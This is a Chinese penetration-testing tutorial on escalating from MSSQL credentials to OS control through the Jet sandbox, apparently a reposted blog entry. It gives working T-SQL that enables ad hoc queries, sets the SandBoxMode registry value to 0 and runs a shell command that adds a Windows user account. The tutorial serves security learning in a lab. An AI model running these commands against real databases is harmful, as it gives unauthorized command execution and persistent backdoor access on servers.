行业新闻

渗透测试之地基服务篇:服务攻防之数据库Mssql(下)

渗透测试之地基服务篇:服务攻防之数据库Mssql(下)

系列文章

专辑:渗透测试之地基篇

简介

渗透测试-地基篇

该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法,望大家能共同加油学到东西。

请注意

本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。

名言:

你对这行的兴趣,决定你在这行的成就!

一、前言

数据库作为业务平台信息技术的核心和基础,承载着越来越多的关键数据,渐渐成为单位公共安全中最具有战略性的资产,数据库的安全稳定运行也直接决定着业务系统能否正常使用。并且平台的数据库中往往储存着等极其重要和敏感的信息。这些信息一旦被篡改或者泄露,轻则造成企业经济损失,重则影响企业形象,甚至行业、社会安全。可见,数据库安全至关重要。所以对数据库的保护是一项必须的,关键的,重要的工作任务。

通过前几期钓鱼、内网攻防篇章落幕后,引来了服务攻防篇章之数据库渗透篇,不管在外网还是内网环境,只要存在业务系统都存在数据库,在渗透测试对数据库的知识学习是必不可少的,接下来将介绍数据库的渗透基本操作,带小伙伴们了解和学习数据库如何渗透的!

如果获得MSSQL用户密码如何拿到对方服务器权限呢?接下来将把提权技巧告诉大家!

二、MSSQL-沙盒提权

1、开启沙盒模式

在SQL 2005中默认禁用Ad Hoc Distributed,执行命令时,会提示错误,所以我们需要手动开启。这种提权的方式一般很少用到。

exec sp_configure 'show advanced options',1 ;
reconfigure ;
exec sp_configure 'Ad Hoc Distributed Queries',1 ;
reconfigure;

1625817062_60e7ffe689dc95a58a41a.png?1625817070124

2、修复沙盒的维护模式

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;

1625817068_60e7ffec74085f4bdd3d0.png?1625817070124查看SandBoxMode的值是否已经变成了0

3、沙盒模式参数含义

沙盒模式SandBoxMode参数含义(默认是2)

0:在任何所有者中禁止启用安全模式
1 :为仅在允许范围内
2 :必须在access模式下
3 :完全开启

以下方法需要在32位系统执行,64位系统无4.0:

exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'

1625817070_60e7ffeee6ff26d966c50.png?16258170726781625817074_60e7fff23d18864e1fbc4.png?1625817075413

4、提权创建账户

Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user testq QWEasd123 /add")');

1625817080_60e7fff81ab4a74110846.png?1625817082787报错:'c:\windows\system32\ias\ias.mdb'

解决方法:

https://documentation.help/InfoSec-cn/69cc2e9c-95e8-4c82-a787-440190c28fbc.htm

1)到windows 2003上复制准备好:
1625817084_60e7fffc2f0e50fcadf91.png?1625817085237
dnary.mdb和ias.mdb两个文件

2)然后放入本地在执行后:

1625817096_60e8000883b456c0f2406.png

关闭